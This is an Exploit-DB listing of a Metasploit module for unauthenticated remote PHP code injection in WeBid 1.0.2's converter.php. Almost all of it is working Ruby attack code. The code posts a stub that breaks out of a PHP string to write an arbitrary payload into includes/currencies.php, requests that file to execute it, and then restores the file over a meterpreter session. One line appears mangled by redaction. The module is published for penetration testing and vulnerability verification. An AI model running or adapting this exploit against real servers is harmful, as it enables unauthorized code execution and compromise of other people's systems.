Exploit-DB #18934
Description: WeBid - 'converter.php' Remote PHP Code Injection (Metasploit)
Type: webapps
Platform: php
Date: 2012-05-27
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WeBid converter.php Remote PHP Code Injection',
			'Description'    => %q{
					This module exploits a vulnerability found in WeBid version 1.0.2.
				By abusing the converter.php file, a malicious user can inject PHP code
				in the includes/currencies.php script without any authentication, which
				results in arbitrary code execution.
			},
			'Author'         => [
				'EgiX', # Vulnerability Discovery, PoC
				'juan vazquez' # Metasploit module
			],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'OSVDB', '73609' ],
					[ 'EDB', '17487' ]
				],
			'Version'        => '$Revision: $',
			'Privileged'     => false,
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Payload'        =>
				{
				},
			'DisclosureDate' => 'Jul 05 2011',
			'Targets'        =>
				[
					[ 'WeBid 1.0.2 / Ubuntu', {} ]
				],
			'DefaultTarget' => 0
			))

			register_options(
				[
					OptString.new('TARGETURI', [true, 'The base path to WeBid', '/WeBid'])
				], self.class
			)

	end

	def check
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'

		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => uri + "docs/changes.txt"
		})

		if res and res.code == 200 and res.body =~ /1\.0\.2 \- 17\/01\/11/
			return Exploit::CheckCode::Appears
		end

		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => uri + "converter.php"
		})

		if res and res.code == 200 and res.body =~ /WeBId.*CURRENCY CONVERTER/
			return Exploit::CheckCode::Detected
		end

		return Exploit::CheckCode::Safe

	end

	def on_new_session(client)

		if client.type != "meterpreter"
			print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
			print_error("The currencies.php won't be restored automatically.")
			return
		end

		# stdapi must be loaded before we can use fs.file
		client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

		# Original currencies.php file
		currencies_php = <<-eof
			<?php
			$conversionarray[] = '[PII_REDACTED]';
			$conversionarray[] = array(
				array('from' => 'GBP', 'to' => 'AED', 'rate' => '')
			);
			?>
		eof
		currencies_php = currencies_php.gsub(/^\t\t\t/, '')

		[CREDENTIAL_REDACTED].fs.dir.pwd
		print_status("Searching currencies.php file from #{pwd}")

		res = client.fs.file.search(nil, "currencies.php", true, -1)
		res.each do |hit|
			filename = "#{hit['path']}/#{hit['name']}"
			print_status("Restoring #{filename}")
			client.fs.file.rm(filename)
			fd = client.fs.file.new(filename, "wb")
			fd.write(currencies_php)
			fd.close
		end

		print_status("Cleanup finished")

	end

	def exploit

		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'
		peer = "#{rhost}:#{rport}"

		stub = "\0'));#{payload.encoded}?>"

		print_status("#{peer} - Injecting the PHP payload")

		response = send_request_cgi({
			'uri' => uri + "converter.php",
			'method' => "POST",
			'vars_post' => {
				"action" => "convert",
				"from" => "USD",
				"to" => stub
			}
		})

		if response and response.code != 200
			print_error("Server returned non-200 status code (#{response.code})")
			return
		end

		print_status("#{peer} - Executing the PHP payload")

		timeout = 0.01
		response = send_request_cgi({
				'uri' => uri + "includes/currencies.php",
				'method' => "GET",
				'headers' => {
						'Connection' => "close",
					}
				}, timeout)

		if response and response.code != 200
			print_error("Server returned non-200 status code (#{response.code})")
		end

		handler
	end
end